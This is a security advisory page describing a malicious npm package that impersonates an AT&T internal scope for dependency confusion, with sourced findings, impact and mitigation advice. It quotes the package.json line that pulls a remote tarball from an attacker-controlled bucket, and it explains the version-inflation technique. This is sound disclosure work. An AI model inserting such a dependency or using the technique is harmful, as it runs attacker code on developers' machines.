Malicious code in @att-ebiz/abs-components-bc (npm)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fb8d1b46db555fda7536bcf080f9dfd0ceed5c731f7a96b2579121598dad6721) Package @att-ebiz/[email protected] is an empty placeholder published to public npm under a scope (@att-ebiz) that matches AT&T's internal eBusiness namespace, with an inflated 99.9.1 version designed to outrank a legitimate private package of the same name during resolution. Its only meaningful content is a dependency in package.json line 10 declaring "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.8.tgz" — an off-registry tarball hosted on a third-party Google Cloud Storage bucket. The URL is unpinned (no integrity hash), mutable by whoever controls the bucket, and the path segment 'depenconf' explicitly names the dependency-confusion technique. On npm install, npm fetches that tarball and executes any preinstall/install/postinstall lifecycle scripts and module code it contains on the installer's machine. The package itself ships an empty index.js, so installation has no purpose other than pulling and executing the remote tarball's contents. Combined fingerprint — scoped namespace impersonation + 99.9.1 version inflation + empty source + unpinned off-registry tarball with 'depenconf' in the URL — is an unambiguous dependency-confusion dropper. ## Source: ghsa-malware (397f7a3656c6e13b1ba187a7f842221211ea1a02dc0f54ce3775e0c08d78a53b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (d9d4d8606057fc579fbbc6ede648c88bb580827838850f589e8887c1dd374a39) The OpenSSF Package Analysis project identified '@att-ebiz/abs-components-bc' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.
AI Analysis
Technical Summary
The package @att-ebiz/[email protected] is a malicious npm package designed for dependency confusion attacks. It impersonates a legitimate internal AT&T namespace and uses a high version number to supersede private packages. The package is empty except for a dependency on an unpinned, mutable off-registry tarball hosted on a Google Cloud Storage bucket with a path explicitly referencing 'depenconf', indicating dependency confusion. When installed, npm fetches and executes code from this remote tarball, potentially running arbitrary malicious scripts on the installer's machine. The package communicates with domains associated with malicious activity, indicating active malicious behavior. Removal of the package alone may not fully remediate the compromise, as the attacker may have gained full control of the system.
Potential Impact
Any system that installs this package is at risk of full compromise. The malicious package can execute arbitrary code during installation, potentially leading to unauthorized access, data exfiltration, and control over the affected machine. Secrets and keys stored on the compromised system should be considered exposed and rotated immediately. Simply uninstalling the package does not guarantee removal of all malicious artifacts or backdoors installed by the attacker.
Mitigation Recommendations
No official patch or fix is available since this is a malicious package published to a public registry. The primary mitigation is to avoid installing this package and remove it immediately if found. Rotate all secrets and keys from a separate, uncompromised system. Conduct a thorough investigation and remediation of the affected system to ensure no persistent malicious code remains. Use strict package source verification and consider implementing dependency allowlists or private registries to prevent dependency confusion attacks.
Malicious code in @att-ebiz/abs-components-bc (npm)
Description
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (fb8d1b46db555fda7536bcf080f9dfd0ceed5c731f7a96b2579121598dad6721) Package @att-ebiz/[email protected] is an empty placeholder published to public npm under a scope (@att-ebiz) that matches AT&T's internal eBusiness namespace, with an inflated 99.9.1 version designed to outrank a legitimate private package of the same name during resolution. Its only meaningful content is a dependency in package.json line 10 declaring "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-2.8.8.tgz" — an off-registry tarball hosted on a third-party Google Cloud Storage bucket. The URL is unpinned (no integrity hash), mutable by whoever controls the bucket, and the path segment 'depenconf' explicitly names the dependency-confusion technique. On npm install, npm fetches that tarball and executes any preinstall/install/postinstall lifecycle scripts and module code it contains on the installer's machine. The package itself ships an empty index.js, so installation has no purpose other than pulling and executing the remote tarball's contents. Combined fingerprint — scoped namespace impersonation + 99.9.1 version inflation + empty source + unpinned off-registry tarball with 'depenconf' in the URL — is an unambiguous dependency-confusion dropper. ## Source: ghsa-malware (397f7a3656c6e13b1ba187a7f842221211ea1a02dc0f54ce3775e0c08d78a53b) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it. ## Source: ossf-package-analysis (d9d4d8606057fc579fbbc6ede648c88bb580827838850f589e8887c1dd374a39) The OpenSSF Package Analysis project identified '@att-ebiz/abs-components-bc' @ 99.9.1 (npm) as malicious. It is considered malicious because: - The package communicates with a domain associated with malicious activity.
Affected software
Run on your own infrastructure? Check whether these packages are installed with threat-finder — our free open-source scanner.
AI-Powered Analysis
Machine-generated threat intelligence
Technical Analysis
The package @att-ebiz/[email protected] is a malicious npm package designed for dependency confusion attacks. It impersonates a legitimate internal AT&T namespace and uses a high version number to supersede private packages. The package is empty except for a dependency on an unpinned, mutable off-registry tarball hosted on a Google Cloud Storage bucket with a path explicitly referencing 'depenconf', indicating dependency confusion. When installed, npm fetches and executes code from this remote tarball, potentially running arbitrary malicious scripts on the installer's machine. The package communicates with domains associated with malicious activity, indicating active malicious behavior. Removal of the package alone may not fully remediate the compromise, as the attacker may have gained full control of the system.
Potential Impact
Any system that installs this package is at risk of full compromise. The malicious package can execute arbitrary code during installation, potentially leading to unauthorized access, data exfiltration, and control over the affected machine. Secrets and keys stored on the compromised system should be considered exposed and rotated immediately. Simply uninstalling the package does not guarantee removal of all malicious artifacts or backdoors installed by the attacker.
Mitigation Recommendations
No official patch or fix is available since this is a malicious package published to a public registry. The primary mitigation is to avoid installing this package and remove it immediately if found. Rotate all secrets and keys from a separate, uncompromised system. Conduct a thorough investigation and remediation of the affected system to ensure no persistent malicious code remains. Use strict package source verification and consider implementing dependency allowlists or private registries to prevent dependency confusion attacks.
Technical Details
- Gcve Source
- db.gcve.eu
- Osv Id
- MAL-2026-5153
- Osv Schema Version
- 1.7.4
- Aliases
- ["GHSA-6mgp-q6qp-ffj2"]
- Ecosystems
- ["npm"]
- Database Specific Severity
- null
- Cvss Version
- null
Threat ID: 6a520ed768715ace4390b68a
Added to database: 07/11/2026, 09:37:27 UTC
Last enriched: 07/11/2026, 10:03:29 UTC
Last updated: 07/26/2026, 21:47:33 UTC
Views: 7
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Actions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need more coverage?
Upgrade to Pro Console for AI refresh and higher limits.
For incident response and remediation, OffSeq services can help resolve threats faster.
Latest Threats
Check if your credentials are on the dark web
Instant breach scanning across billions of leaked records. Free tier available.